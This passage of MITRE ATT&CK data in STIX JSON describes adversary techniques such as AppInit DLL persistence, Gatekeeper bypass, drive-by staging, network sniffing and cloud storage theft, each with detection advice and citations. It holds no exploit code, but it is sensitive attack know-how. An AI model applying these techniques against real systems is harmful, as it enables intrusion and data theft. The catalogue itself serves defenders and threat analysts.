Boot"},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","source_name":"TechNet Autoruns"}],"modified":"2020-11-10T18:29:30.379Z","name":"AppInit DLLs","description":"Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator"],"x_mitre_system_requirements":["Secure boot disabled on systems running Windows 8 and later"],"x_mitre_effective_permissions":["Administrator","SYSTEM"],"x_mitre_is_subtechnique":false},{"modified":"2022-10-21T19:30:58.414Z","name":"Gatekeeper Bypass","description":"Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple’s security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: TheEclecticLightCompany apple notarization )\n\nBased on an opt-in system, when files are downloaded an extended attribute (xattr) called `com.apple.quarantine` (also known as a quarantine flag) can be set on the file by the application performing the download. Launch Services opens the application in a suspended state. For first run applications with the quarantine flag set, Gatekeeper executes the following functions:\n\n1. Checks extended attribute – Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.(Citation: OceanLotus for OS X)(Citation: 20 macOS Common Tools and Techniques)\n\n2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers.\n\n3. Code Signing – Gatekeeper checks for a valid code signature from an Apple Developer ID.\n\n4. Notarization - Using the `api.apple-cloudkit.com` API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. Users can override notarization, which will result in a prompt of executing an “unauthorized app” and the security policy will be modified.\n\nAdversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211)), unchecked file types, and external libraries. For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.(Citation: theevilbit gatekeeper bypass 2021)(Citation: Application Bundle Manipulation Brandon Dalton)\n\nApplications and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command may not set the quarantine flag. Additionally, it is possible to avoid setting the quarantine flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"The removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the com.apple.quarantine flag when performing updates. \n\nReview false values under the LSFileQuarantineEnabled entry in an application's Info.plist file (required by every application). false under LSFileQuarantineEnabled indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified LSFileQuarantineEnabled entry will default to not setting the quarantine flag. \n\nQuarantineEvents is a SQLite database containing a list of all files assigned the com.apple.quarantine attribute, located at ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag)","x_mitre_platforms":["macOS"],"x_mitre_is_subtechnique":true,"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_contributors":["Brandon Dalton @PartyD0lphin","Swasti Bhushan Deb, IBM India Pvt. Ltd."],"x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","File: File Metadata","File: File Modification"],"x_mitre_defense_bypassed":["Anti-virus","Application Control"],"type":"attack-pattern","id":"attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e","created":"2020-02-05T16:16:08.471Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1553/001","external_id":"T1553.001"},{"source_name":"Application Bundle Manipulation Brandon Dalton","description":"Brandon Dalton. (2022, August 9). A bundle of nerves: Tweaking macOS security controls to thwart application bundle manipulation. Retrieved September 27, 2022.","url":"https://redcanary.com/blog/mac-application-bundles/"},{"source_name":"theevilbit gatekeeper bypass 2021","description":"Csaba Fitzl. (2021, June 29). GateKeeper - Not a Bypass (Again). Retrieved September 22, 2021.","url":"https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/"},{"source_name":"OceanLotus for OS X","description":"Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.","url":"https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"},{"source_name":"TheEclecticLightCompany Quarantine and the flag","description":"hoakley. (2020, October 29). Quarantine and the quarantine flag. Retrieved September 13, 2021.","url":"https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/"},{"source_name":"TheEclecticLightCompany apple notarization ","description":"How Notarization Works. (2020, August 28). How notarization works. Retrieved September 13, 2021.","url":"https://eclecticlight.co/2020/08/28/how-notarization-works/"},{"source_name":"20 macOS Common Tools and Techniques","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-15T00:21:55.791Z","name":"Drive-by Target","description":"Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).\n\nAdversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including:\n\n* Inserting malicious scripts into web pages or other user controllable web content such as forum posts\n* Modifying script files served to websites from publicly writeable cloud storage buckets\n* Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))\n\nIn addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_deprecated":false,"x_mitre_detection":"If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.3","x_mitre_data_sources":["Internet Scan: Response Content"],"type":"attack-pattern","id":"attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9","created":"2021-03-17T20:33:20.127Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1608/004","external_id":"T1608.004"},{"source_name":"ATT ScanBox","description":"Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.","url":"https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"},{"source_name":"Gallagher 2015","description":"Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as “watering holes”. Retrieved January 25, 2016.","url":"http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"},{"source_name":"FireEye CFR Watering Hole 2012","description":"Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020.","url":"https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-03T18:55:18.326Z","name":"System Service Discovery","description":"Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start.\n\nAdversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Harshal Tupsamudre, Qualys"],"x_mitre_deprecated":false,"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_version":"1.5","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","Process: OS API Execution"],"type":"attack-pattern","id":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","created":"2017-05-31T21:30:21.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1007","external_id":"T1007"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:11:55.217Z","name":"Network Sniffing","description":"Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or [Defense Evasion](https://attack.mitre.org/tactics/TA0005) activities. Adversaries may likely also utilize network sniffing during [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) (AiTM) to passively gain additional knowledge about the environment.\n\nIn cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)(Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)\n\nOn network devices, adversaries may perform network captures using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `monitor capture`.(Citation: US-CERT-TA18-106A)(Citation: capture_embedded_packet_on_software)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Oleg Kolesnikov, Securonix","Tiago Faria, 3CORESec","Austin Clark, @c2defense","Itamar Mizrahi, Cymptom","Eliraz Levi, Hunters"],"x_mitre_deprecated":false,"x_mitre_detection":"Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\n\nIn cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors. For network infrastructure devices, collect AAA logging to monitor for the capture of network traffic.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","Network","IaaS"],"x_mitre_version":"1.6","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation"],"x_mitre_system_requirements":["Network interface access and packet capture driver"],"type":"attack-pattern","id":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","created":"2017-05-31T21:30:41.399Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1040","external_id":"T1040"},{"source_name":"AWS Traffic Mirroring","description":"Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022.","url":"https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html"},{"source_name":"capture_embedded_packet_on_software","description":"Cisco. (2022, August 17). Configure and Capture Embedded Packet on Software. Retrieved July 13, 2022.","url":"https://www.cisco.com/c/en/us/support/docs/ios-nx-os-software/ios-embedded-packet-capture/116045-productconfig-epc-00.html"},{"source_name":"GCP Packet Mirroring","description":"Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022.","url":"https://cloud.google.com/vpc/docs/packet-mirroring"},{"source_name":"SpecterOps AWS Traffic Mirroring","description":"Luke Paine. (2020, March 11). Through the Looking Glass — Part 1. Retrieved March 17, 2022.","url":"https://posts.specterops.io/through-the-looking-glass-part-1-f539ae308512"},{"source_name":"Azure Virtual Network TAP","description":"Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022.","url":"https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview"},{"source_name":"Rhino Security Labs AWS VPC Traffic Mirroring","description":"Spencer Gietzen. (2019, September 17). Abusing VPC Traffic Mirroring in AWS. Retrieved March 17, 2022.","url":"https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/"},{"source_name":"US-CERT-TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61","type":"attack-pattern","created":"2017-05-31T21:30:27.755Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1017","external_id":"T1017"},{"external_id":"CAPEC-187","source_name":"capec","url":"https://capec.mitre.org/data/definitions/187.html"}],"modified":"2020-03-23T15:40:50.965Z","name":"Application Deployment Software","description":"Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_system_requirements":["Access to application deployment software (EPO, HPCA, Altiris, etc.)"],"x_mitre_is_subtechnique":false},{"modified":"2022-09-22T19:13:52.548Z","name":"Code Signing","description":"Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.\n\nCode signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.","x_mitre_platforms":["macOS","Windows"],"x_mitre_is_subtechnique":true,"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_data_sources":["File: File Metadata"],"x_mitre_defense_bypassed":["Windows User Account Control"],"type":"attack-pattern","id":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","created":"2020-02-05T16:27:37.784Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1553/002","external_id":"T1553.002"},{"source_name":"EclecticLightChecksonEXECodeSigning","description":"Howard Oakley. (2020, November 16). Checks on executable code in Catalina and Big Sur: a first draft. Retrieved September 21, 2022.","url":"https://eclecticlight.co/2020/11/16/checks-on-executable-code-in-catalina-and-big-sur-a-first-draft/"},{"source_name":"Securelist Digital Certificates","description":"Ladikov, A. (2015, January 29). Why You Shouldn’t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.","url":"https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"},{"source_name":"Symantec Digital Certificates","description":"Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.","url":"http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates"},{"source_name":"Wikipedia Code Signing","description":"Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.","url":"https://en.wikipedia.org/wiki/Code_signing"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Data from Cloud Storage","description":"Adversaries may access data from cloud storage.\n\nMany IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform. \n\nIn some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly though the [Cloud API](https://attack.mitre.org/techniques/T1059/009). In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)). \n\nAdversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.\n\nThis open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017)(Citation: Rclone-mega-extortion_05_2021)\n\nAdversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["Netskope","Praetorian","AppOmni","Arun Seelagan, CISA"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["IaaS","SaaS","Office Suite"],"x_mitre_version":"2.2","x_mitre_data_sources":["Cloud Service: Cloud Service Metadata","Cloud Storage: Cloud Storage Access"],"type":"attack-pattern","id":"attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7","created":"2019-08-30T18:07:27.741Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1530","external_id":"T1530"},{"source_name":"Amazon S3 Security, 2019","description":"Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019.","url":"https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/"},{"source_name":"Microsoft Azure Storage Security, 2019","description":"Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019.","url":"https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide"},{"source_name":"Wired Magecart S3 Buckets, 2019","description":"Barrett, B.. (2019, July 11). Hack Brief: A Card-Skimming Hacker Group Hit 17K Domains—and Counting. Retrieved October 4, 2019.","url":"https://www.wired.com/story/magecart-amazon-cloud-hacks/"},{"source_name":"Google Cloud Storage Best Practices, 2019","description":"Google. (2019, September 16). Best practices for Cloud Storage. Retrieved October 4, 2019.","url":"https://cloud.google.com/storage/docs/best-practices"},{"source_name":"HIPAA Journal S3 Breach, 2017","description":"HIPAA Journal. (2017, October 11). 47GB of Medical Records and Test Results Found in Unsecured Amazon S3 Bucket. Retrieved October 4, 2019.","url":"https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/"},{"source_name":"Rclone-mega-extortion_05_2021","description":"Justin Schoenfeld, Aaron Didier. (2021, May 4). Transferring leverage in a ransomware attack. Retrieved July 14, 2022.","url":"https://redcanary.com/blog/rclone-mega-extortion/"},{"source_name":"Trend Micro S3 Exposed PII, 2017","description":"Trend Micro. (2017, November 6). A Misconfigured Amazon S3 Exposed Almost 50 Thousand PII in Australia. Retrieved October 4, 2019.","url":"https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2024-10-15T18:21:43.760Z","name":"Runtime Data Manipulation","description":"Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_deprecated":false,"x_mitre_detection":"Inspect important application binary file hashes, locations, and modifications for suspicious/unexpected values.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["File: File Modification","File: File Deletion","Process: OS API Execution","File: File Metadata","File: File Creation"],"x_mitre_impact_type":["Integrity"],"type":"attack-pattern","id":"attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490","created":"2020-03-02T14:30:05.252Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1565/003","external_id":"T1565.003"},{"source_name":"DOJ Lazarus Sony 2018","description":"Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.","url":"https://www.justice.gov/opa/press-release/file/1092091/download"},{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:26:46.873Z","name":"Credentials in Registry","description":"Adversaries may search the 